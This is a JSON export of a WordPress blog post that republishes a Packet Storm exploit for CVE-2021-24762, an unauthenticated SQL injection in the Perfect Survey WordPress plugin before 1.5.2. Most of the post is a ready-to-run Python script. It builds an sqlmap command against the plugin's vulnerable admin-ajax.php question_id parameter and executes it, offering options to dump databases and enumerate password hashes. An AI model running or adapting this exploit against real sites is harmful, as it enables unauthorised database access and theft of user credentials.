{"id":20924,"date":"2022-02-22T09:31:45","date_gmt":"2022-02-22T06:31:45","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166072\/wpperfectsurvey151-sql.txt"},"modified":"2022-02-22T10:11:14","modified_gmt":"2022-02-22T06:41:14","slug":"wordpress-perfect-survey-1-5-1-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-perfect-survey-1-5-1-sql-injection\/","title":{"rendered":"CVE-2021-24762 WordPress Perfect Survey 1.5.1 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: WordPress Plugin Perfect Survey &#8211; 1.5.1 &#8211; SQLi (Unauthenticated)<br \/>\n# Date 18.02.2022<br \/>\n# Exploit Author: Ron Jost (Hacker5preme)<br \/>\n# Vendor Homepage: https:\/\/www.getperfectsurvey.com\/<br \/>\n# Software Link: https:\/\/web.archive.org\/web\/20210817031040\/https:\/\/downloads.wordpress.org\/plugin\/perfect-survey.1.5.1.zip<br \/>\n# Version: &lt; 1.5.2<br \/>\n# Tested on: Ubuntu 20.04<br \/>\n# CVE: CVE-2021-24762<br \/>\n# CWE: CWE-89<br \/>\n# Documentation: https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-24762\/README.md<\/p>\n<p dir=\"ltr\">&#8221;&#8217;<br \/>\nDescription:<br \/>\nThe Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before<br \/>\nusing it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.<br \/>\n&#8221;&#8217;<\/p>\n<p dir=\"ltr\">banner = &#8221;&#8217;<\/p>\n<p dir=\"ltr\">___ _ _ ______ ____ ____ ____ ___ ____ _ _ _______ _____ ____<br \/>\n_(___)_ (_) (_)(______) _(____) (____) _(____) (___) _(____)(_) (_)(_______)(_____) _(____)<br \/>\n(_) (_)(_) (_)(_)__ ______(_) _(_)(_) (_)(_) _(_)(_)(_) ______(_) _(_)(_)__(_)_ _(_)(_)___ (_) _(_)<br \/>\n(_) _ (_) (_)(____)(______) _(_) (_) (_) _(_) (_)(______) _(_) (________)_(_) (_____)_ _(_)<br \/>\n(_)___(_) (_)_(_) (_)____ (_)___ (_)__(_) (_)___ (_) (_)___ (_) (_) (_)___(_)(_)___<br \/>\n(___) (___) (______) (______) (____) (______) (_) (______) (_)(_) (_____)(______)<\/p>\n<p dir=\"ltr\">[+] Perfect Survey &#8211; SQL Injection<br \/>\n[@] Developed by Ron Jost (Hacker5preme)<\/p>\n<p dir=\"ltr\">&#8221;&#8217;<br \/>\nprint(banner)<\/p>\n<p dir=\"ltr\">import argparse<br \/>\nfrom datetime import datetime<br \/>\nimport os<\/p>\n<p dir=\"ltr\"># User-Input:<br \/>\nmy_parser = argparse.ArgumentParser(description= &#8216;Perfect Survey &#8211; SQL-Injection (unauthenticated)&#8217;)<br \/>\nmy_parser.add_argument(&#8216;-T&#8217;, &#8216;&#8211;IP&#8217;, type=str)<br \/>\nmy_parser.add_argument(&#8216;-P&#8217;, &#8216;&#8211;PORT&#8217;, type=str)<br \/>\nmy_parser.add_argument(&#8216;-U&#8217;, &#8216;&#8211;PATH&#8217;, type=str)<br \/>\nargs = my_parser.parse_args()<br \/>\ntarget_ip = args.IP<br \/>\ntarget_port = args.PORT<br \/>\nwp_path = args.PATH<\/p>\n<p dir=\"ltr\">print(&#8216;[*] Starting Exploit at: &#8216; + str(datetime.now().strftime(&#8216;%H:%M:%S&#8217;)))<br \/>\nprint(&#8216;[*] Payload for SQL-Injection:&#8217;)<br \/>\nexploitcode_url = r&#8217;sqlmap &#8220;http:\/\/&#8217; + target_ip + &#8216;:&#8217; + target_port + wp_path + r&#8217;wp-admin\/admin-ajax.php?action=get_question&amp;question_id=1 *&#8221; &#8216;<br \/>\nprint(&#8216; Sqlmap options:&#8217;)<br \/>\nprint(&#8216; -a, &#8211;all Retrieve everything&#8217;)<br \/>\nprint(&#8216; -b, &#8211;banner Retrieve DBMS banner&#8217;)<br \/>\nprint(&#8216; &#8211;current-user Retrieve DBMS current user&#8217;)<br \/>\nprint(&#8216; &#8211;current-db Retrieve DBMS current database&#8217;)<br \/>\nprint(&#8216; &#8211;passwords Enumerate DBMS users password hashes&#8217;)<br \/>\nprint(&#8216; &#8211;tables Enumerate DBMS database tables&#8217;)<br \/>\nprint(&#8216; &#8211;columns Enumerate DBMS database table column&#8217;)<br \/>\nprint(&#8216; &#8211;schema Enumerate DBMS schema&#8217;)<br \/>\nprint(&#8216; &#8211;dump Dump DBMS database table entries&#8217;)<br \/>\nprint(&#8216; &#8211;dump-all Dump all DBMS databases tables entries&#8217;)<br \/>\nretrieve_mode = input(&#8216;Which sqlmap option should be used to retrieve your information? &#8216;)<br \/>\nexploitcode = exploitcode_url + retrieve_mode + &#8216; &#8211;answers=&#8221;follow=Y&#8221; &#8211;batch -v 0&#8217;<br \/>\nos.system(exploitcode)<br \/>\nprint(&#8216;Exploit finished at: &#8216; + str(datetime.now().strftime(&#8216;%H:%M:%S&#8217;)))<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WordPress Plugin Perfect Survey &#8211; 1.5.1 &#8211; SQLi (Unauthenticated) # Date 18.02.2022 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https:\/\/www.getperfectsurvey.com\/ # Software Link: https:\/\/web.archive.org\/web\/20210817031040\/https:\/\/downloads.wordpress.org\/plugin\/perfect-survey.1.5.1.zip # Version: &lt; 1.5.2 # Tested on: Ubuntu 20.04 # CVE: CVE-2021-24762 # CWE: CWE-89 # Documentation: https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-24762\/README.md &#8221;&#8217; Description: The Perfect Survey WordPress plugin before &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20924","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20924","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20924"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20924\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}